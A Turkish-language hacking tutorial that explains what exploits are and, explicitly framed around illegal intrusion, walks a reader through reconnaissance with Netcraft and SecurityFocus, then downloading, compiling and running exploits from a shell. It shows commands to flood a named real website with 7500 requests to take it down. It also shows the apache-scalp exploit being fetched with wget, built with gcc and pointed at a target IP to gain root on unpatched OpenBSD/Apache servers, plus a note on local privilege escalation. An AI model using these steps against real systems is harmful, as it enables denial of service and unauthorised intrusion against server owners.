Exploit Nedir ve Nasıl Kullanılır..
Hack ve illegalite ye merak salanların kısa zamanda karşılaştığı bi terimdir exploit.Peki Exploit nedir ne işe yarar ? Bu soruyu yanıtlamak için öncelikle bazı terimlerin anlamlarını doğru bilmek gerekiyor. Bilişim teknolojileri, internet ve güvenlik konuları ülkemizde gelişme sürecinde olduğu için ilgili birçok terimin Türkçe karşılığı kullanılmamakta. Bu yüzden Exploit konusunu işlenirken karşılaşacağımız İngilizce terimlerin Türkçe karşılıklarına değinmek istiyorum oncelikle.
Exploit terimini genelde Vulnerability terimiyle birlikte görürüz. Bu iki kavram birbiri ile ilişkilidir. Vulnerability, hassasiyet, korunmasızlık, savunmasızlık anlamlarına gelir.Hedef sistemde bulunan savunmasızlıklar saldırılacak yerlerdir. Bir sistemi delmek için önce savunmasızlıkları tesbit edilir. Bu noktadan sonra saldırıyı gerçekleştirmek için gerekli Olan şey exploit dir. Exploit, kelime karşılığı itibarı ile "İstismar etmek, Sömürmek" anlamlarına gelir. Aslında Exploit olarak adı geçen program script'lerine ExploitScript demek daha doğru olur, ancak Exploit olarak imlendiği için bizde Exploit diyeceğiz. Exploitler Hedef sistemin savunmasız inşaa edilen yapılarını sömürülür ve sisteme sızma gerçekleştirilir. Exploit bu savunmasızlıkları sömüren programlara verdiğimiz genel isimdir.
Hedef bir sisteme illegal bi girişimde bulunulacağı zaman. Once savunmasız yeri (vulnerability ) tesbit edilmelidir. Ancak bu aşamadan sonra gerekli olan exploit program bulunup işletilir açık sömürülür. Bu noktada, sistemdeki açığı tesbit etmek de, bu açığı kullanacak programları yazmak ta üst düzey bilgi ve uğraş gerektiren işlerdir ve bu işlerin nasıl yapılacağı da konuya giriş niteliğindeki bu dokumanın konusu dışındadır. Şoyle güzel bi durum varki, güvenlik uzmanları ve hacker lar sistemlerin açıklarını bulmak ve bu açıkları test edecek ve ya sömürecek olan gerekli exploitleri yazmak için sürekli uğraşmaktadırlar. Bu gun birçok guvenlik sitesinde birçok sistemin önceden tespit edilmiş savunmasızlıkları ve bunu sömürecek olan exploit programları bulunmaktadır.
Güvenlik siteleri sürekli guncel sistemlerin açıklarını bulur ve mümkünse bu açığı sömürecek olan programı(exploit ) da açıkla beraber yayınlarlar. Güvenliğe önem veren sistem sahipleri de bunları takip ederek açıklarını kapatırlar. Web'de güvenlik bu şekilde işler. Peki tespit edilen bu açıkları takip edip gerekli yamaları yapmayan web site ve sunucu sahipleri yok mu. Cevap; İstemediğimiz kadar cok var. O zaman hedef sistem doğru analiz edilip olası açıklar ve exploitleri denenerek, güncellemelerini yapmamış sistemler kolaylıkla alt edilebilirler.
Exploitler temel olarak ikiye ayrılır: Local ve remote. Local sistemin icinde iken yapılan saldırı. Remote ise sisteme dışardan yapılan saldırıyı temsil eder. Local saldırılar daha etkili olmasına rağmen önceden sisteme girilmiş olma zorunluluğu taşıdığı için her zaman ele geçmeyen bi durumdur. Remote ise daha *** kullandığımız kendi bilgisayarımızdan uzaktaki sunucu bilgisayara yapılan saldırıdır. İlk once uzaktan yapılan saldırılarda kullandığımız remote exploitlere değinecem.Olaya ve işleyişine açıklık getirdikten sonra artık işe koyulalım.
Vulnerability-exploit ikilisini kullanarak sistemlerin nasıl alt edilebileceğine gelelim. İlk bulmamız gereken şeyin savunmasızlık olduğunu soyledik. Başlangıç noktamız burası. Bunun icin ilk önce hedef sistem doğru bir şekilde analiz edilmeli. Sistem diyoruz, bir sistemin oluşmasını sağlayan birçok yapı vardır. Bu yapılardan birinin savunmasızlığı tüm sistemi alt etmemizi sağlayabilir. O zaman sistemin yapı taşları tek tek tespit edilmelidir. Bir web sitesinin ayakta durmasını sağlayan temel sistem sitenin bulunduğu sunucu ve sunucuyu barındıran işletim sistemidir. Buradan başlamak doğru bi secim olur. Hedef bir sistemin işletim sistemi, sunucusu ve versiyonunu tespit etmenin en bilindik ve kolay yolu meşhur site netcraft dır. www.netcraft.com adresinden hedef sitenin adı girilerek bu bilgiler elde edilir. Şimdi işletim sisteminin ve sunucunun önceden bulunmuş açıklarını tespit etmeğe geldi sıra. Bunun icin de gene meşhur bi güvenlik sitesi adı verecem: www.securityfocus.com . İki site de ingilizce siteler. Maalesef Turkiye'de henüz böyle geniş kapsamlı güvenlik siteleri yok. securityfocus'da bugtraq bölümüne giriyoruz. Burası açıkların listelendiği yer.Burada vulnerability kısmına giriyoruz. Önceden bulunmuş yüzlerce acık var karşımızda. Biz hedef sistemimizin ve sunucumuzun adına ve versiyonuna gore aramalar yaptırıyoruz. Mesela windows 2000 server bi işletim sistemi ve iis sunucu var hedef sistemde. microsoft, iis, windows 2000 gibi arama sonuçlarında birçok sonuç bulduğumuzu göreceksiniz. Buradan sürüm ve versiyonlarına bakarak hedef sistemimize uyan acıklara tıkladığımızda. Bu savunmasızlık la ilgili geniş açıklamalar, etkilenen ve etkilenmeyen sistemler, varsa exploit i gibi birçok bilgiye ulaşıyoruz. Eger hedef sistemimizin bilgilerine uyuşacak bi acık tespit ettiysek. Exploit sekmesine tıklayıp. Exploit programın linkine ulaşıyoruz. Bu noktadan sonra exploiti nasıl kullanacağımıza geliyor sıra. Ama ben ondan once hedef sistem icin başka bilgi toplama ve exploit bulma yöntemlerine daha değinmek istiyorum önce.
Hedef sistemi oluşturan tek şey tabiî ki işletim sistemi ve sunucu değildir. Bunların işleyişine yardımcı bir cok modul ve program vardır. Mesela dosya alışverişi sağlayan ftp sunucusu, mail sunucuları, asp, php gibi dinamik web programlama dillerinin çalışmasını sağlayan program ve modüller,sunucudaki databease işlemlerini yürüten moduller, uzaktan yonetim gibi sunucuya ek işlevsellik katan programlar ve daha bircok yapı vardır bu sistemin içinde. Bunların bazıları belli portları ortak kullanırken, bazıları kendi özel portlarında calışırlar. Mesela Linux gibi bir unix tabanlı sunucuda deamon denilen, yapılacak işleri bölüşmüş birçok program vardır. Bu modul, deamon ve programların her birinin isimleri, versiyonları çeşitli program ve yöntemlerle tespit edilebilir. Hepsinin de ufak bir savunmasızlığı sistemi alt etmemizi sağlayabilir. Bunların tesbiti, olası vulnerability ve exploitlerinin teminleri zaman ve tecrübeyle öğrenilecek şeylerdir. Bunlara ek olarak hedef sitede varsa acık kodlu asp nuke, php nuke gibi portalların da sürümleri belirlenerek, ki bu html kodlarında "powered by" diye başlayan yere bakma suretiyle kolayca elde edilebilecek bi bilgidir, önceden bulunmuş vulnerability ve exploitleri bulunabilir. securityfocus a alternatif bircok site vardır exploit temini icin. Ayrıca herangi bir arama motorunda mesela "apache 1.3 vulnerability" veya "apache 1.3 exploit" gibi aramalar yaptırılarak önceden tespit ettiğimiz linux bir işletim sisteminde apache 1.3 sunucu işleten
bi hedef icin exploit aratabiliriz.
Bu noktadan sonra hedefle ilgili bilgileri toplayıp olası exploitlere ulaştığımızı var sayıyorum ve exploit i nasıl kullanacağımıza geciyorum.Exploitler programlardır dedik. Ama exploitleri çoğu zaman program halinde bulamazsınız. Program kodları halindedirler. Bu kodları kullanarak programı oluşturma işi bize düşer.Program kodlarından çalıştırılabilir programlar oluşturma işine compile (derleme ) diyoruz. Bu işi gerçekleştirmek icin compiler denen programlar kullanılır. Her programlama dili için ayrı compilerlar vardır. Exploitler genelde C ve perl dilinde yazılırlar. Bu kodları compile ederken dikkat edilecek bi husus da exploit programın hangi dilde yazıldığından başka hangi işletim sistemi icin yazıldığıdır. Genel olarak tanıdığımız iki işletim sistemi var. Biri microsoft windows tabanlı sistemler.Dieri unix tabanlı linux ve türevi işletim sistemleri. Windowsda derlenmesi icin yazılmış exploitler icin compiler programlar kullanmak gerekir. Çünkü windows da hazır gelen bi C compiler yoktur. Borland en meşhur C compilerlarından biridir. Programı bi yerlerden bulup kullanımını öğrenmek size kalmış.Unix tabanlı sistemlerde ise ayrıca bir compiler kullanmaya gerek yoktur çünkü sistem kendi içersinde compilerı barındırır. Exploitlerin çoğu unix tabanlı sistemler icin yazılır. Birçoğumuz windows sistemler kullandığımız icin nete acılan bi linux sistem bulma konusunda zorluk çekiyor olabiliriz. Bu noktada shell denen kavramı incelememiz gerekiyor.
Unix tabanlı sistemler daha çok server makineler olarak tasarlanmışlardır. Bir cok kullanıcı hesabı açma ve bu hesaplardan sistemi birçok kullanıcıya kullandırma yetisine sahiptirler. Bu tür kullanıcı hesaplarına shell hesabı diyoruz. Aslında shell, unix sistemlerde windowsdaki dos gibidir. Siyah bi komut satırıdır. Nette bu tür shell hesabı veren paralı ve parasız bir cok server bulunmaktadır. Exploitlerin çoğu Unix tabanlı sistemlerde çalışacak şekilde kodlandığı icin ya bilgisayarımıza linux kurmamız gerek ya da bir shell hesabı almamız lazım bi yerden. Bu dokümanda nasıl shell bulacağınızı ya da nasıl linux kuracağınızı anlatılmayacaktır. Döküman arşivi içerisinde konu ile ilgili makaleleri inceleyerek bu konu hakkında da geniş bilgiyi bulabilirsiniz Bi shell'inizin olduğunu varsayarak exploiti nasıl derleyip kullanacağınıza geciyorum..
Shell, uzaktaki server bi bilgisayara bağlanarak o bilgisayarı kısıtlı haklarla kendi bilgisayarımız gibi kullanmamıza yarar. Önce shell hesabımıza nasıl bağlanacağımızdan bahsedelim. Telnet uzaktan bir bilgisayara bağlanmanın en bilindik yoludur. Bilgisayarınızdan komut istemine ulaşın.Başlat->çalıştır cmd (98 kullananlar icin command ) yazın entera basın. Ms Dos acıldı. Şimdi telnet komutu ile shell hesabımızı aldığımız servera bağlanacağız.

telnet 144.122.199.33

Burada yazdığım ip yerine shell hesabınızın bulunduğu bilgisayarın adını veya ip sini yazacaksınız. Telnet otomatik olarak 23. porttan hedefe bağlanmaya çalışacaktır. Eğer shell aldığımız sunucu 23. porttan bağlantıyı destekliyorsa karşınıza hoş geldin mesajı cıkacak. Kullanıcı adı ve şifre soracak. Shell hesabını aldığınız yerde verilen kullanıcı adı ve şifrenizle giriş yaptınız. Artık unix tabanlı bir bilgisayarın icindesiniz ve size verilen haklar sınırında o bilgisayarı kullanabilirsiniz. Nasıl kullanacağımıza geçmeden önce başka bir bağlantı şekline daha değinelim..
Telnet protokolü verileri şifrelemeden alıp verdiği icin her sunucu bu protokolü kullanmayı tercih etmeyebilir. Bunun alternatifi ve daha guvenli olan bir bağlantı biçimi de 22. porttan gerçekleştirilir. SSH dediğimiz bu protokolü kullanmak icin dos yeterli değildir. Putty adındaki program 22. porttan bağlantılar icin kullanılabilir. Putty yi netten kolayca bulabilirsiniz. Putty yi açınca direk "host name or ip adress" kısmına bağlantının yapılacağı sunucu yazılır. Port varsayılan olarak 22 dedir zaten. Sonra open butonuna basmak yeterli. Shell hesabınıza gene kullanıcı adınız ve şifrenizle giriş yapabilirsiniz.
Unix tabanlı sunucumuza bağlandık. Şimdi exploiti nasıl kullanacağımıza gelelim. Exploitler genelde C ve perl dillerinde yazılır dedik. C dilinde yazılanların çalıştırılabilir dosyaya dönüştürülmek için derlenmesi gerekir. Perl ile yazılanların ise derlenmeye ihtiyacı yoktur. Unix sistemler perl dilindeki satırları nasıl calıştıracağını derleme ihtiyacı duymadan bilir.
NOT: Bu makalede bundan sonra kullanacağımız shell komutlarından once geçen "#" işareti shell prompt'unu ifade ediyor. Yazacağınız shell komutlarından once bu işareti yazma gibi bi yanlışa düşmeyin.

#wget http://www.dct.com/exploit/dctPerl.pl

Burada wget komutu shell de internetten dosya çekmek için kullanılır. Diyelimki Yukarıdakı adreste bahsettıgımız .pl dosyası var yukarıdakı komutu yazıp enter a basınca dctPerl.pl i hesabımıza çektik. Şimdi shell de bize ayrılan klasörde ne var ne yok diye bi bakalım. Dos da kullandığımız dır komutu yerine ls kullanıyoruz shell de. "ls" yazdık. Çıkan listede dctPerl.pl i goreceksiniz. Şimdi bu perl dosyasını calıştırmanın iki yolu var. Birincisi, önce dosyanın calıştırılabilir hale getirilmesini sağlayıp ardından "perl" komutunu cağırarak perl dosyamızı calıştırmasını sağlamak. Şu şekilde:
Şimdi bu perl dosyasını çalıştırılabilir bi şekle cevireceğiz.

#chmod +x dctPerl.pl

yazdık. chmod komutuyla dosyaya çalıştırılabilme hakkı atadık. Artık kullanıma hazır.

#perl dctPerl.pl

yazıp enter dedik ve program calıştı.
İkinci perl dosyası çalıştırma yolu ise biraz daha meşakatli fakat bilinmesi gereken bir yol. Bu sefer "perl" komutunu çağırmadan dosyamızı calıştırazağız.Dosyamızı "chmod" komutu ile çalıştırılabilir bir hale çevirmeden önce şu işlemi gerçekleştiecez. Perl dosyasını calıştırmak icin sisteme bunun bir perl dosyası olduğunu, ona gore execute edeceğini bildiren bi satır ekliyeceğiz şimdi dctPerl.pl dosyasına. Bunun icin meşhur unix editörü pico yu kullanacaz.

#pico dctPerl.pl

yazdık ve enter dedik. pico perl dosyasını açtı. Şimdi dosyanın başına şu satırı ekliyoruz:
#!/bin/perl
Bu ilk satır sunucuya perl i calıştırabilmesi icin gereken yolu kullanmasını söylüyor. Her sunucuda bu yol /bin/perl olmayabilir "perl" komutunun bulunduğu klasore gore bu yol değişir.Gerektiğinde sunucudan bu bilgi edinilebilir . Ama genelde çoğu sunucularda boyledir. Bu satırı ekledikten sonra ctrl-x yapıp cıkıyoruz pico dan. Cıkmadan once bize dosyaya yapılan değişiklikleri kaydedeyim mi diye soruyor "y" ye basıp sonra enter diyoruz. Şimdi perl dosyamızı gene "chmod" komutu ile çalıştırılabilir bir hale dönüştürüyoruz.
#chmod +x dctPerl.pl
Artık dosyamızı her seferinde "perl" programını çağırmadan çalıştırabiliriz. Şu şekilde:

#./dctPerl.pl

yazıp enter dedik ve program calıştı. Burdaki programın adından onceki "./" kısmı programın bulunduğumuz klasorde olduğunu ifade ediyor.Boylelikle programı calıştırırken bulunduğumuz klasorun yolunu yazmak zorunda kalmıyoruz.
Exploit'imiz calıştırılınca bize kendisini nasıl kullanacağımızı da anlatıyor.İlgili kullanım detaylarını inceleyince aşağıdaki gibi örnek bir girişim yapabileceğimizi bize iletiyor.

#perl dctPerl.pl www.mazafaka.ru /forum/index.php 7500

yazarak programın www.mazafaka.ru sitesine 7500 tane istek de bulunmasını ve böylece sitenin isteklere cevap veremeyip kullanılmaz hale gelmesini sağlıyoruz.
Perl dilinde yazılmış bi exploiti nasıl çalıştıracağımızı öğrendik. şimdi C dilinde yazılmış bir exploite gelelim. Gene örnekle açıklayalım.
#wget http://packetstorm.trustica.cz/0206-...apache-scalp.c
wget komutuyla packetstorm.trustica.cz adresinden bu exploiti çekiyoruz. Bu exploit unix tabanlı olan OpenBSD 3.x x86 işletim sistemine sahip sunucularda Apache 1.3.20, 1.3.22, 1.3.23, ve 1.3.24 versiyon larında test edilmiş uzaktan chunking açığını kullanarak sunucuda root olmamızı sağlayan bi exploit. Diyelimki hedef sistemimiz OpenBSD ve web sunucusu olarak Apache 1.3.20 işletiyor. Ve bu açığın yamasını yapmamış. Şimdi çektiğimiz bu exploiti derleyip hedefimize saldırmak icin kullanıyoruz. C kodlarını çalıştırılabilir programlara dönüştürmek icin shell de kullandığımız compiler komutu "gcc"

#gcc -o apache-scalp apache-scalp.c

yazdık ve enter a bastık. Shell, kodları derleyip aynı klasörde apache-scalp diye çalıştırılabilir bi dosya oluşturacak.Gcc komutunun kullanımını açıklamak adına Yukardaki satırda"gcc -o apache-scalp apache-scalp.c" yerine "gcc -o dosya1 apache-scalp.c" yassaydık mesela, apache-scalp.c dosyasından apache-scalp yerine dosya1 adında bir çalıştırılabilir dosya oluşturacaktı. Ben ilkini yazdığımızı varsayarak devam ediyorum.

#./apache-scalp

yazıp enter a bastık. Program çalıştı ve bize kendisini nasıl kullanacağımızı ve muhtemel hedeflerin listesini verdi. Şu şekilde

Usage: ./a.out <target#|base address> <ip[ort]>

Using targets: ./apache-scalp 3 127.0.0.1:8080
Using bruteforce: ./apache-scalp 0x8f000 127.0.0.1:8080

--- --- - Potential targets list - --- ----
Target ID / Target specification
0 / OpenBSD 3.0 x86 / Apache 1.3.20
1 / OpenBSD 3.0 x86 / Apache 1.3.22
2 / OpenBSD 3.0 x86 / Apache 1.3.24
3 / OpenBSD 3.1 x86 / Apache 1.3.20
4 / OpenBSD 3.1 x86 / Apache 1.3.23
5 / OpenBSD 3.1 x86 / Apache 1.3.24
6 / OpenBSD 3.1 x86 / Apache 1.3.24

Yukarıdaki kullanım talimatlarına göre ve hedef sistemimizin OpenBSD 3.1 x86 / Apache 1.3.24 olduğunu varsayarak mesela şu şekilde exploiti çalıştırıyoruz.

#./apache-scalp 5 hedefip:80

hedefip yerine hedef sunucumuzun ipsini yazdık. Exploiti çalıştırıyoruz. Eğer sistem açığı kapatmamışsa exploit bizi sunucu bilgisayara bağlıyor ve artık orda root'uz (yöneticiyiz ) hic bi sınırlamamız yok. Tek sınırlamamız bildiğimiz shell komutları ama Unix tabanlı sistemler için shell komutları bu dokümanın konusu deil. Shell komutlarını kullanarak sunucuya istediğimizi yapabiliriz.

Bu iki örnekte de remote exploitleri işledik. Local exploitler ise bulunduğumuz sunucuya saldırmak icin kullanılır. Shell hesabını aldığımız sunucuyu düşünelim. Burda biz içerdeyiz zaten ama sınırlı haklarımız var. Bize ayrılan alan dışında hicbir şey değiştiremeyiz. Ama local bi exploit kullanılarak burda da sınırlamalarımızı kaldırmak ve root olmak mümkün. Remote exploitlerin kullanımı ile pek bi farkı yok bunların da. Sunucuya exploit kodları çekilir. Derlenir ve exploit calıştırılır. Eger exploitin sömürdüğü savunmasızlık sunucu da mevcutsa root oluruz...

Bu makalede Exploit'ler ve Kullanımı hakkında temel bilgi edindik ve kullanımlarını inceledik. Yazının bazı yerlerı alıntı bazı yerlerı yorumdur..Mevcut örneklendirmeler hemen her Exploit yazılımı için aynı prosedürle çalıştırılabilir.


Ekleyen: WALLACEs | Eklenme Tarihi: 27.01.2016